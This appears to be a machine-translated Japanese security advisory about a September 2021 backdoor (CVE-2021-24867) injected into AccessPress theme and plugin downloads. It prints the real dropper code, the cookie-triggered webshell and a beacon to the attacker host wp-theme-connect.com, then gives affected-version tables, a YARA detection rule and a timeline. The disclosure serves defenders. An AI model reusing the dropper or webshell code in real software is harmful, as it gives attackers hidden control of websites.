AccessPressテーマのテーマとプラグインで見つかったバックドア
公開: 2022-01-192月1日更新– 「影響を受けるテーマ」セクションを変更して、新しいバージョンのテーマが表示され始めていることを反映しました。
侵害されたサイトを調査しているときに、AccessPress Themes(別名Access Keys)によるテーマに疑わしいコードがいくつか見つかりました。これは、人気のあるテーマとプラグインを多数持つベンダーです。 さらに調査したところ、ベンダーのすべてのテーマとほとんどのプラグインにこの疑わしいコードが含まれていることがわかりましたが、それは自社のWebサイトからダウンロードした場合に限られます。 WordPress.orgディレクトリから直接ダウンロードまたはインストールした場合、同じ拡張機能で問題ありませんでした。
拡張機能が侵害された方法が原因で、外部の攻撃者が拡張機能を使用して他のサイトに感染しようとして、AccessPressテーマのWebサイトに侵入した疑いがあります。
すぐにベンダーに連絡しましたが、最初は返答がありませんでした。 WordPress.orgプラグインチームにエスカレーションした後、私たちの疑いが確認されました。 AccessPressテーマのWebサイトは、2021年9月の前半に侵害され、そのサイトでダウンロード可能な拡張機能にバックドアが注入されました。
ベンダーと通信するためのチャネルを確立したら、詳細な調査結果をベンダーと共有しました。 彼らはすぐに彼らのウェブサイトから問題のある拡張機能を削除しました。
その後、ほとんどのプラグインが更新され、既知のクリーンバージョンがこの投稿の下部にリストされています。 ただし、影響を受けるテーマは更新されておらず、WordPress.orgテーマリポジトリから取得されます。 この投稿の下部にリストされているテーマのいずれかがサイトにインストールされている場合は、できるだけ早く新しいテーマに移行することをお勧めします。
この開示は、プラグインとテーマの両方の多数の拡張機能に関するものです。 以下のリストにスキップするか、詳細をお読みください。
詳細:
ベンダー:AccessPressテーマ
ベンダーのURL:https://accesspressthemes.com
プラグイン:複数
テーマ:複数
CVE:CVE-2021-24867
分析:
感染した拡張機能には、攻撃者が感染したサイトに完全にアクセスできるようにするWebシェル用のドロッパーが含まれていました。 ドロッパーは、メインプラグインまたはテーマディレクトリにあるファイルinital.php
にあります。 実行すると、CookieベースのWebシェルがwp-includes/vars.php
にインストールされます。 シェルは、wp_is_mobile_fix()という名前のwp_is_mobile_fix()
wp_is_mobile()
関数の直前に関数としてインストールされます。 これはおそらく、 vars.php
ファイルを何気なくスクロールしている人に疑惑を抱かせないためです。
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
シェルがインストールされると、ドロッパーはURL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
から、感染したサイトのURLとクエリ引数として使用するテーマ。 最後に、ドロッパーソースファイルを削除して、リクエストの実行が終了したときに検出されないようにします。
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
リクエストのユーザーエージェント文字列がwp_is_mobile
であり、リクエストに8つの特定のCookieが含まれている場合、Webシェル自体がトリガーされます。 これらをつなぎ合わせて、これらの提供されたCookieからペイロードを実行します。
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
また、theme/pluginのfunctions.php
ファイルに直接埋め込まれているバックドアの別のおそらく古いバリアントも確認しました。 このバリアントは、8つのCookieからのペイロードをつなぎ合わせるという同じメカニズムを使用しますが、リクエストのユーザーエージェント文字列をフィルタリングしません。
ドロッパーが確実に実行されるように、メインプラグインファイル(プラグインの場合)またはfunctions.php
ファイル(テーマの場合)が、存在する場合はinital.php
ファイルを実行するコードで変更されています。
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
侵害されたプラグインのタイムスタンプからの1つの驚くべき詳細は、それらがすべて9月上旬のものであるということです。 大部分は9月6日と7日のもので、いくつかのファイルは9月2日と3日のものです。同様に、テーマについては、9月9日のaccessbuddy
を除いて、すべてが9月22日に侵害されました。
また、zipアーカイブ内のタイムスタンプは非常に均一であり、変更されたメインプラグインファイルと数分後にスタンプされる追加のドロッパーファイル(通常は約2〜5分後)を除いて、ほぼすべてのファイルがまったく同じタイムスタンプになりますアーカイブ内の他のファイル)。
ただし、 wordpress.org
リポジトリからダウンロードされたzipファイルのタイムスタンプを見ると、プラグイン/テーマが実際に更新された日時に対応するタイムスタンプの分布が見つかります。 また、アーカイブ内のタイムスタンプの分布は均一性が低く、リリースで更新されたファイルと、以前のリリースから変更されていないファイルを反映しています。
これは、AccessPress ThemesのWebサイトのファイルが意図的に変更されており、最初にリリースされた後の調整されたアクションであることを示しています。 侵害は2つの段階で実行されたようです。1つはプラグイン用で、もう1つはテーマ用です。 おそらくプロセスを微調整するために、いくつかの以前の試みでそれらのそれぞれ。
私たちの調査では、AccessPressテーマのWebサイトから無料で入手できるテーマとプラグインのみを調べました。 有料のプロテーマも同様に影響を受けると想定していますが、これらについては検討していません。 これらのいずれかがある場合は、AccessPressテーマのサポートに連絡してアドバイスを求めてください。
影響を受けるテーマ
サイトにインストールされているBad列のバージョン番号が付いている次のテーマのいずれかがある場合は、すぐにClean列のバージョンにアップグレードすることをお勧めします。 WordPress.orgからインストールされたテーマは、[悪い]列にリストされていても、クリーンであることに注意してください。 安全のために、既知のクリーンバージョンにアップグレードすることをお勧めします。
[クリーン]列にバージョン番号がないテーマはまだアップグレードされていないため、可能であれば別のテーマに置き換えることをお勧めします。
テーマスラッグ | 悪い | 綺麗 |
---|---|---|
accessbuddy | 1.0.0 | |
accesspress-基本 | 3.2.1 | 3.2.2 |
accesspress-lite | 2.92 | 2.93 |
accesspress-mag | 2.6.5 | 2.6.6 |
accesspress-視差 | 4.5 | 4.6 |
accesspress-ray | 1.19.5 | |
accesspress-root | 2.5 | 2.6.0 |
accesspress-staple | 1.9.1 | |
accesspress-store | 2.4.9 | 2.5.0 |
エージェンシーライト | 1.1.6 | 1.1.7 |
アプライト | 1.0.6 | |
ビングル | 1.0.4 | 1.0.5 |
ブロガー | 1.2.6 | 1.2.7 |
建設ライト | 1.2.5 | 1.2.6 |
ドコ | 1.0.27 | 1.1.0 |
啓発する | 1.3.5 | 1.3.6 |
fashstore | 1.2.1 | |
写真撮影 | 2.4.0 | 2.4.1 |
ギャガコープ | 1.0.8 | |
ガガライト | 1.4.2 | |
ワンペイズ | 2.2.8 | |
視差-ブログ | 3.1.1574941215 | |
パララックスサム | 1.3.6 | 1.3.7 |
パント | 1.1.2 | 1.1.3 |
リボルブ | 1.3.1 | |
リップル | 1.2.0 | 1.2.1 |
scrollme | 2.1.0 | |
sportsmag | 1.2.1 | |
storevilla | 1.4.1 | 1.4.2 |
スイングライト | 1.1.9 | 1.2.0 |
ランチャー | 1.3.2 | 1.3.3 |
月曜日 | 1.4.1 | |
uncode-lite | 1.3.1 | |
unicon-lite | 1.2.6 | 1.2.7 |
vmag | 1.2.7 | 1.2.8 |
vmagazine-lite | 1.3.5 | 1.3.7 |
vmagazine-ニュース | 1.0.5 | 1.0.6 |
ジグシーベイビー | 1.0.6 | 1.0.7 |
ジグシー化粧品 | 1.0.5 | 1.0.6 |
zigcy-lite | 2.0.9 | 2.1.0 |
影響を受けるプラグイン
サイトにBad列のバージョン番号が付いた次のプラグインのいずれかがインストールされている場合は、すぐにClean列のバージョンにアップグレードすることをお勧めします。 WordPress.orgからインストールされたプラグインは、[不良]列にリストされている場合でも、クリーンであることに注意してください。 安全のために、既知のクリーンバージョンにアップグレードすることをお勧めします。

[クリーン]列にバージョン番号がないプラグインはまだアップグレードされていないため、可能であれば他のプラグインに置き換えることをお勧めします。
プラグインスラッグ | 悪い | 綺麗 | ノート |
---|---|---|---|
accesspress-匿名投稿 | 2.8.0 | 2.8.1 | 1 |
accesspress-custom-css | 2.0.1 | 2.0.2 | |
accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
accesspress-pinterest | 3.3.3 | 3.3.4 | |
accesspress-social-counter | 1.9.1 | 1.9.2 | |
accesspress-social-icons | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
accesspress-social-share | 4.5.5 | 4.5.6 | |
accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
ak-menu-icons-lite | 1.0.9 | ||
ap-コンパニオン | 1.0.7 | 2 | |
ap-contact-form | 1.0.6 | 1.0.7 | |
ap-custom-testimonial | 1.4.6 | 1.4.7 | |
ap-mega-menu | 3.0.5 | 3.0.6 | |
ap-pricing-tables-lite | 1.1.2 | 1.1.3 | |
apex-notification-bar-lite | 2.0.4 | 2.0.5 | |
cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
コメント-無効-アクセスプレス | 1.0.7 | 1.0.8 | |
easy-side-tab-cta | 1.0.7 | 1.0.8 | |
エベレスト-管理-テーマ-ライト | 1.0.7 | 1.0.8 | |
エベレスト-来る-すぐに-ライト | 1.1.0 | 1.1.1 | |
エベレスト-コメント-レーティング-ライト | 2.0.4 | 2.0.5 | |
エベレストカウンターライト | 2.0.7 | 2.0.8 | |
エベレスト-よくある質問-マネージャー-ライト | 1.0.8 | 1.0.9 | |
エベレストギャラリーライト | 1.0.8 | 1.0.9 | |
エベレスト-google-places-reviews-lite | 1.0.9 | 2.0.0 | |
エベレスト-レビュー-ライト | 1.0.7 | ||
エベレストタブライト | 2.0.3 | 2.0.4 | |
エベレストタイムラインライト | 1.1.1 | 1.1.2 | |
inline-call-to-action-builder-lite | 1.1.0 | 1.1.1 | |
product-slider-for-woocommerce-lite | 1.1.5 | 1.1.6 | |
smart-logo-showcase-lite | 1.1.7 | 1.1.8 | |
スマートスクロールポスト | 2.0.8 | 2.0.9 | |
スマートスクロールからトップライトへ | 1.0.3 | 1.0.4 | |
total-gdpr-compliance-lite | 1.0.4 | ||
トータルチームライト | 1.1.1 | 1.1.2 | |
Ultimate-author-box-lite | 1.1.2 | 1.1.3 | |
Ultimate-form-builder-lite | 1.5.0 | 1.5.1 | |
woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
wp-1-スライダー | 1.2.9 | 1.3.0 | |
wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
wp-cookie-user-info | 1.0.7 | 1.0.8 | |
wp-facebook-review-showcase-lite | 1.0.9 | ||
wp-fb-messenger-button-lite | 2.0.7 | ||
wp-floating-menu | 1.4.4 | 1.4.5 | |
wp-media-manager-lite | 1.1.2 | 1.1.3 | |
wp-popup-banners | 1.2.3 | 1.2.4 | |
wp-popup-lite | 1.0.8 | ||
wp-product-gallery-lite | 1.1.1 |
ノート:
- このプラグインは更新されていませんが、AccessPress Themes Webサイトのバージョンが古いバージョンであったため、クリーンであると考えられます。
- このプラグインは更新されていませんが、AccessPressテーマのWebサイトでは元々利用できなかったため、クリーンであると考えられています。
IOCの
次のYARAルールを使用して、サイトが感染しているかどうかを確認できます。 感染のスポイト部分とインストールされたWebシェルの両方を検出します。
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
推奨事項
AccessPressテーマまたはWordPress.org以外の場所から直接インストールされたテーマまたはプラグインがある場合は、上記の表に示されているように、すぐに安全なバージョンにアップグレードする必要があります。 安全なバージョンが利用できない場合は、WordPress.orgの最新バージョンに置き換えてください。
これはシステムからバックドアを削除しないことに注意してください。さらに、バックドアのインストール中に行われたコアファイルの変更を元に戻すには、クリーンバージョンのWordPressを再インストールする必要があります。
AccessPress Themes / Access Keysの有料テーマまたはプラグインをお持ちの場合は、サポートに連絡してサポートを受けることをお勧めします。
悪意のあるファイルのスキャンとバックアップを含むサイトのセキュリティ計画を立てることを強くお勧めします。 Jetpack Securityは、サイトと訪問者の安全を確保するための優れたWordPressセキュリティオプションの1つです。 Jetpack Scanは、9月30日以降、このバックドアとスポイトのすべての亜種を検出しました。
タイムライン
2021-09-22:Jetpack Scanチームは、FotoGraphyテーマのスポイトとバックドアを発見し、最初の発見についてベンダーに連絡しようとします。
2021-09-27:ベンダーのWebサイトからダウンロードされた現在のすべての無料プラグインとテーマにドロッパー+バックドアが存在することを確認します。
2021-09-28:wordpress.orgからのダウンロードにドロッパー+バックドアが存在しないことを確認します
2021-09-29:新しい調査結果の更新を使用して、ベンダーに再度連絡しようとしています。
2021-10-14:ベンダーとの連絡をとるためにWordPressプラグインチームにエスカレーションしました。
2021-10-15:侵害された拡張機能がベンダーのサイトから削除されました。
2021-10-16:ベンダーからの回答
2022-01-17:ほとんどのプラグインが新しいバージョンにアップグレードされ、テーマがWordPress.orgから取得されました。
2022-01-18公開